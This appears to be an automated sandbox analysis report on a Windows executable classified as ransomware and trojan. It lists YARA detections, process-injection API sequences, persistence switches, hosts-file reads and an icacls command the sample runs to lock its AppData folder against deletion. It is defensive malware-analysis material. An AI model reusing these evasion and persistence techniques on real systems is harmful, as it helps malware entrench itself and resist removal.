Source: 5.2.ZZGJ1bZClw.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 2.1.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 4.2.ZZGJ1bZClw.exe.23115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 14.1.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 4.2.ZZGJ1bZClw.exe.23115a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 5.2.ZZGJ1bZClw.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 6.2.ZZGJ1bZClw.exe.22915a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 8.2.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 2.2.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 8.1.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 12.2.ZZGJ1bZClw.exe.24415a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 7.2.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 10.1.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 2.2.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 10.1.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 1.2.ZZGJ1bZClw.exe.22b15a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 1.2.ZZGJ1bZClw.exe.22b15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 14.1.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 10.2.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 12.2.ZZGJ1bZClw.exe.24415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 8.2.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 7.2.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 6.2.ZZGJ1bZClw.exe.22915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 2.1.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 14.2.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 10.2.ZZGJ1bZClw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 8.1.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 14.2.ZZGJ1bZClw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0000000A.00000002.402983269.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 00000008.00000001.394915120.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0000000E.00000002.416440779.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 1_2_004023AC	1_2_004023AC
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0040D240	2_2_0040D240
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_00419F90	2_2_00419F90
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0040C070	2_2_0040C070
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0042E003	2_2_0042E003
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0042C804	2_2_0042C804
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0042F010	2_2_0042F010
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_00443B40	2_2_00443B40
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0044237E	2_2_0044237E
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0040DD40	2_2_0040DD40
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0040BDC0	2_2_0040BDC0
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0042CE51	2_2_0042CE51
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0040A660	2_2_0040A660
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0041E690	2_2_0041E690
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0040274E	2_2_0040274E
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0040A710	2_2_0040A710
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_0040F730	2_2_0040F730
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_2_00420F30	2_2_00420F30
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_1_0040D240	2_1_0040D240
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_1_00419F90	2_1_00419F90
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_1_0040C070	2_1_0040C070
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_1_0042E003	2_1_0042E003
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 2_1_0042F010	2_1_0042F010
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: 4_2_004023AC	4_2_004023AC
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_0228CA10	5_2_0228CA10
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_0228DBE0	5_2_0228DBE0
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_0228B000	5_2_0228B000
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_0228B0B0	5_2_0228B0B0
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_022830EE	5_2_022830EE
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_022900D0	5_2_022900D0
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_022A18D0	5_2_022A18D0
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_022AE9A3	5_2_022AE9A3
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_022AF9B0	5_2_022AF9B0
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_0228E6E0	5_2_0228E6E0
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: 5_2_0228C760	5_2_0228C760

Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: String function: 022A8EC0 appears 38 times
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Code function: String function: 022B0160 appears 31 times
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: String function: 00401DA1 appears 38 times
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: String function: 00402974 appears 58 times
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: String function: 0042F7C0 appears 42 times
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: String function: 0044F23E appears 50 times
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: String function: 00428520 appears 50 times
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Code function: String function: 004547A0 appears 31 times

Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe

Code function: 5_2_02280110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

5_2_02280110

Source: ZZGJ1bZClw.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ZZGJ1bZClw.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: ZZGJ1bZClw.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: ZZGJ1bZClw.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: ZZGJ1bZClw.exe	Virustotal: Detection: 36%
Source: ZZGJ1bZClw.exe	ReversingLabs: Detection: 85%

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

File read: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Jump to behavior

Source: ZZGJ1bZClw.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ZZGJ1bZClw.exe 'C:\Users\user\Desktop\ZZGJ1bZClw.exe'
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Process created: C:\Users\user\Desktop\ZZGJ1bZClw.exe 'C:\Users\user\Desktop\ZZGJ1bZClw.exe'
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53' /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Process created: C:\Users\user\Desktop\ZZGJ1bZClw.exe 'C:\Users\user\Desktop\ZZGJ1bZClw.exe' --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Process created: C:\Users\user\Desktop\ZZGJ1bZClw.exe 'C:\Users\user\Desktop\ZZGJ1bZClw.exe' --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Process created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Process created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Process created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Process created: C:\Users\user\Desktop\ZZGJ1bZClw.exe 'C:\Users\user\Desktop\ZZGJ1bZClw.exe'	Jump to behavior
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53' /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Process created: C:\Users\user\Desktop\ZZGJ1bZClw.exe 'C:\Users\user\Desktop\ZZGJ1bZClw.exe' --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Process created: C:\Users\user\Desktop\ZZGJ1bZClw.exe 'C:\Users\user\Desktop\ZZGJ1bZClw.exe' --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Process created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Process created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Process created: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart	Jump to behavior

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\geo[1].json

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@18/6@6/2

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 2_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

2_2_0040D240

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 2_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,_memmove,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

2_2_00411900

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 2_2_00412440 CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,

2_2_00412440

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe

Code function: 1_2_0040102E SizeofResource,WaitForSingleObject,SetConsoleCP,SetEvent,EnterCriticalSection,FreeUserPhysicalPages,VerLanguageNameW,FindActCtxSectionStringA,lstrcpyW,PrepareTape,ReadFile,FindFirstVolumeA,FindNextVolumeA,AddConsoleAliasA,InterlockedIncrement,

1_2_0040102E

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Command line argument: Q@		1_2_00405130
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Command line argument: Q@		4_2_00405130

Source: ZZGJ1bZClw.exe	String found in binary or memory: set-addPolicy
Source: ZZGJ1bZClw.exe	String found in binary or memory: id-cmc-addExtensions
Source: ZZGJ1bZClw.exe	String found in binary or memory: set-addPolicy
Source: ZZGJ1bZClw.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: ZZGJ1bZClw.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: ZZGJ1bZClw.exe, ZZGJ1bZClw.exe, 00000006.00000002.395438224.0000000002290000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp, ZZGJ1bZClw.exe, 0000000C.00000002.415234158.0000000002440000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp
Source:	Binary string: C:\tihisud\62\cugenuxuya-mozemizeku.pdb source: ZZGJ1bZClw.exe
Source:	Binary string: dPC:\tihisud\62\cugenuxuya-mozemizeku.pdb source: ZZGJ1bZClw.exe
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: ZZGJ1bZClw.exe, 00000001.00000002.361885300.00000000022B0000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000004.00000002.387076079.0000000002310000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000006.00000002.395438224.0000000002290000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp, ZZGJ1bZClw.exe, 0000000C.00000002.415234158.0000000002440000.00000040.00000001.sdmp, ZZGJ1bZClw.exe, 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Unpacked PE file: 2.2.ZZGJ1bZClw.exe.400000.0.unpack
Source: C:\Users\user\Desktop\ZZGJ1bZClw.exe	Unpacked PE file: 7.2.ZZGJ1bZClw.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Unpacked PE file: 8.2.ZZGJ1bZClw.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe	Unpacked PE file: 10.2.ZZGJ1bZClw.exe.400000.0.unpack
